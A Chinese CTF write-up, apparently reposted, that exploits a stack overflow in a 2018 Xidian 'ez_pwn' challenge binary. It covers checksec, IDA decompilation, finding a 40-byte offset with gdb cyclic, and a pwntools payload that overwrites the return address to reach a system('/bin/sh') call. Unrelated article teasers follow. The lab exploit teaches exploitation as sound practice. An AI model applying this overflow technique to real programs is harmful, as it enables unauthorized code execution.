简单的PWN堆栈溢出的尝试

news2025/1/12 22:49:23

这是一道2018年西电CTF线下赛的一道ez_pwn的小题目,该题目为堆栈溢出漏洞的利用1

本次实验环境为 ubuntu 20.0.4

使用工具:GDB pwngdb

首先分析文件大致情况

checksec ez_pwn在这里插入图片描述
Arch: amd64-64-little 表示该二进制文件是 64 位的 。
RELRO: Partial RELRO 表示通过可重定位只读(RELRO)技术对代码进行了一定程度的保护,但仍存在某些攻击方式可以绕过此保护。
Stack: No canary found 表示堆栈未启用栈保护机制,例如栈破坏保护(Stack Canary)等。
NX: NX disabled 表示二进制文件的内存页没有启用不可执行(NX)标志,允许代码在栈或堆上执行。
PIE: No PIE (0x400000) 表示二进制文件在运行时地址固定,没有启用位置无关性(PIE)标志。
RWX: Has RWX segments 表示二进制文件中存在可读写可执行的内存段,是一个很容易受到攻击的弱点。

使用ida pro打开程序,注意,需要使用64位的ida pro

在这里插入图片描述
点击main函数,然后按F5看伪代码就行
在这里插入图片描述
代码结构简单,程序运行首先会让你输入一个参数,233跳到sub_400726()函数,666跳到sub_400737()函数,5438跳到sub_400748(5438LL)函数
在这里插入图片描述
在这里插入图片描述
前两个函数没有什么实际内容,我们直接看最后一个函数
__fastcall是一个函数调用约定,它通过CPU寄存器传递参数。他用EAX和EDX传送前两个双字,剩下的参数从左至右入栈,函数自身清理堆栈,返回值在EAX中(这个是在32位下,64位请自行脑补),简单说一下这个,就是它可以自己清理堆栈,但是又不会释放堆栈,如果堆栈被重复利用的话可能会导致堆栈溢出

在这里插入图片描述

这个里面有一个system()函数,但是他是不能直接用的,因为他需要传递参数233的时候才能执行,但是传递只有传递的参数为5438的时候才能进入到sub_400748(int a1)这个函数里面,所以这里就需要利用堆栈溢出的漏洞来做

我们可以看到,在这段代码中存在栈溢出漏洞,因为 read 函数没有限制输入字符串的长度,而 buf 变量只有 0x50(80)个字节大小,如果用户输入的字符串超过了这个长度,就会导致栈溢出,覆盖掉其他重要的数据,但是很奇怪,笔者尝试实际上输入32个字节的内容就会造成溢出的情况

在这里插入图片描述
我们知道栈溢出是由于read()函数没有限制用户输入的字符长度引起的,所以我们在做动态调试的时候,需要知道read()函数的位置,好下断点 0x40077D
在这里插入图片描述
我们使用gdb对其进行动态调试,这样的话不需要静态分析偏移量
gdb ./ez_pwn

在这里插入图片描述
打断点
在这里插入图片描述
r 运行至断点处
在这里插入图片描述
cyclic 512 生成512个字符串
在这里插入图片描述
ni 执行下一步,将字符串复制粘贴进去
在这里插入图片描述
忽略报错
在这里插入图片描述
ni执行下一步,而后一直按回车,直到看到rsp寄存器为止(或者一直运行到程序不动)
在这里插入图片描述
使用cyclic -l faaaaaaa 查看rsp寄存器偏移量,需要注意的是,cyclic -l 指定的是8个字节,所以需要将rsp寄存器的值取前8位
在这里插入图片描述
此时我们得到,当前rsp寄存器的偏移量为40
下一步就是直接找到system执行函数里面的 /bin/sh的寄存器地址 4007A1
在这里插入图片描述
写python脚本如下
在这里插入图片描述

 from pwn import *:导入 Pwntools 库。
    p = process('./ez_pwn'):创建新进程并执行 ./ez_pwn 可执行文件。

    p.recv():接收来自程序的输出。
    p.sendline('5438'):向程序发送数据,此处为字符串 '5438',其作用是向程序提供输入。
    p.recv():接收来自程序的输出。
    gdb.attach(p,'b *0x400782\nc'):使用 gdb 调试器附加到进程 p 上,并设置断点(在地址 0x400782 处)和继续运行程序。
    payload = b'A'*40+p64(0x4007A1):构造缓冲区溢出的 payload,其中包括 40 个字节的 'A' 和地址 0x4007A1。
    p.sendline(payload):向程序发送 payload。
    p.interactive():将控制台交互转移到用户,以便用户手动与程序进行交互。


直接运行该脚本,成功栈溢出并执行系统命令
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/665455.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

计算机网络课程设计——中小型网络工程设计

文件地址:https://github.com/Recursiondzl/Computer-Network github里面有课设文件,别白嫖,点个star哦 摘 要:本次计算机网络实践,完成了中小型网络工程设计与实现对计算机网络知识进行了系统的复习,实践能力获得了…

0基础学习VR全景平台篇第45篇:编辑器底部菜单- 关联场景功能操作

大家好,欢迎观看蛙色VR官方系列——后台使用课程! 本期为大家带来蛙色VR平台,底部菜单—关联场景功能操作。 一、本功能将用在哪里? 关联场景,是某个场景下的子场景,也可以理解为VR漫游作品的三级分组&…

1-简单回归问题

一.梯度下降(gradient descent) 1.预测函数 这里有一组样本点,横纵坐标分别代表一组有因果关系的变量 我们的任务是设计一个算法,让机器能够拟合这些数据,帮助我们算出参数w 我们可以先随机选一条过原点的直线&#xf…

【GESP】2023年03月图形化一级 -- 小猫捉老鼠

文章目录 小猫捉老鼠1. 准备工作2. 功能实现3. 设计思路与实现(1)角色、舞台背景设置a. 角色设置b. 舞台背景设置 (2)脚本编写a. 角色:Mouse1b. 角色:Cat 2 4. 评分标准 小猫捉老鼠 1. 准备工作 &#xff…

Vue3项目中使用vue-router

目录 1、Vue Router 的主要概念和功能2、什么是 vue-router?3、为什么需要 vue-router?4、基本概念和安装4.1 了解单页面应用(SPA)和路由的基本概念4.1.1单页面应用(Single Page Application,SPA)4.1.2路由…

【运维知识进阶篇】zabbix5.0稳定版详解3(监控Nginx+PHP服务状态信息)

这篇文章继续给大家介绍zabbix监控,监控Nginx、PHP等服务,其实非常简单,难点在于如何去取这个值,包括监控业务,难点在于思路是否清晰,思维是否活跃,如何去进行判断是否有这个业务,并…

小白到运维工程师自学之路 第三十四集 (redis的基本使用)

一、概念 Redis是一个开源的内存数据结构存储系统,它可以用作数据库、缓存和消息中间件。Redis支持多种数据结构,如字符串、哈希表、列表、集合、有序集合等。Redis的特点是数据存储在内存中,因此读写速度非常快,同时也支持数据持…

【Vue3+Ts project】认识 @vueuse/core 库

目标: 根据屏幕宽度改变 实现动态获取盒子的宽度 目录 目标: 一、javascript实现 二、vueuse/core 库实现 一、javascript实现 1.首先 window.innerWidth 获取当前屏幕宽度,然后将 盒子宽度 除 375 乘 当前屏幕宽度 150 / 375 * window.innerWidth 2.将获取的…

千万不要跟随这 4 种领导!

​ 见字如面,我是军哥! 最近有程序员读者问我,什么样的领导不能跟随?都有哪些坑!这个我擅长哈,毕竟职场混迹 15 年~ 第一种,技术能力不行还喜欢指手画脚的领导。 第二种,…

鹏云网络分布式块存储社区版问世,首发开源存储解决方案

2023年1月,南京鹏云网络科技有限公司(简称:鹏云网络)正式宣布开源ZettaStor DBS分布式块存储系统,开放了自研10余年的分布式块存储技术,自此踏上了“自研”与“开源”一体并行的生态闭环之路。 研发十年&am…

python程序获取最新的行政区划名称代码

一、实现目标 最近由于项目需要,需要获取最新的过去全国县以上行政区划的名称和代码。网上虽然有一些资料,但是不是需要积分就是需要会员,而且担心这些资料不是最新的。因此,想着使用程序从官方网站上获取最新的全国行政区划数据。 二、实现思路 1、找到官方最新发布的全国…

c++11 标准模板(STL)(std::basic_ios)(五)

定义于头文件 <ios> template< class CharT, class Traits std::char_traits<CharT> > class basic_ios : public std::ios_base 类 std::basic_ios 提供设施&#xff0c;以对拥有 std::basic_streambuf 接口的对象赋予接口。数个 std::basic_ios…

【夜深人静学数据结构与算法 | 第七篇】时间复杂度与空间复杂度

目录 前言&#xff1a; 引入&#xff1a; 时间复杂度&#xff1a; 案例&#xff1a; 空间复杂度&#xff1a; 案例&#xff1a; TIPS&#xff1a; 总结&#xff1a; 前言&#xff1a; 今天我们将来介绍时间复杂度和空间复杂度&#xff0c;我们代码的优劣就是依…

力扣算法刷题Day38|动态规划:斐波那契数 爬楼梯 使用最小花费爬楼梯

力扣题目&#xff1a;#509. 斐波那契数 刷题时长&#xff1a;参考答案后5min 解题方法&#xff1a;动态规划 复杂度分析 时间O(n)空间O(n) 问题总结 无 本题收获 动规五部曲思路 确定dp数组以及下标的含义&#xff1a;dp[i]的定义为&#xff0c;第i个数的斐波那契数值…

VMware虚拟机彻底卸载详细教程

VMware虚拟机彻底卸载 一、彻底卸载过程1.1 停止VMware服务1.2 结束vmware任务1.3 开始卸载VMware1.4 删除注册表信息1.5 删除安装目录 二、vmware 安装教程三、vmware 使用教程 回到目录   回到末尾 一、彻底卸载过程 卸载之前&#xff0c;需要先关闭VMware相关的后台服务…

软件技巧:7款冷门且十分良心的软件

1、Okular 阅读器 Okular是一款来自KDE的通用文档阅读器&#xff0c;支持众多文档格式&#xff0c;如PDF、Postscript、DjVu、CHM、XPS、ePub、图片格式、漫画格式等&#xff0c;支持Windows、macOS与Linux&#xff0c;是科研学术人士阅读文献的好工具&#xff0c;也是电子书爱…

OWASP 之认证崩溃基础技能

文章目录 一、burp爆破用法1.Attack type爆破方式设置2.payload处理3.请求引擎设置4.攻击结果设置5.grap匹配设置 二、常见端口与利用1、文件共享2、远程连接3、Web应用4、数据库 三、爆破案例经验1、暴力破解攻击产生的5个原因或漏洞2、猜测用户名方法3、猜测密码方法 四、实验…

亚马逊云科技中国峰会:Amazon DeepRacer——载着 AI 梦想向前奔跑

目录 一、Amazon DeepRacer 是什么&#xff1f; 二、Amazon DeepRacer 的前世今生 三、Amazon DeepRacer 深度体验 四、2023亚马逊云科技中国峰会 1.中国峰会总决赛 2.自动驾驶赛车名校邀请赛 3.Girls in Tech Show 4.全球联赛 5.报名链接&#xff1a; 一、Amazon Dee…

C++个人通信录管理系统

背景&#xff1a; 使用C编写一个个人通信录管理系统&#xff0c;来完成作业上的一些需求。 1-提供录入个人信息、修改个人信息&#xff08;姓名和出生日期除外&#xff09;、删除个人信息等编辑功能 2-提供按姓名查询个人信息的功能 3-提供查找在5天之内过生日的人员的信息…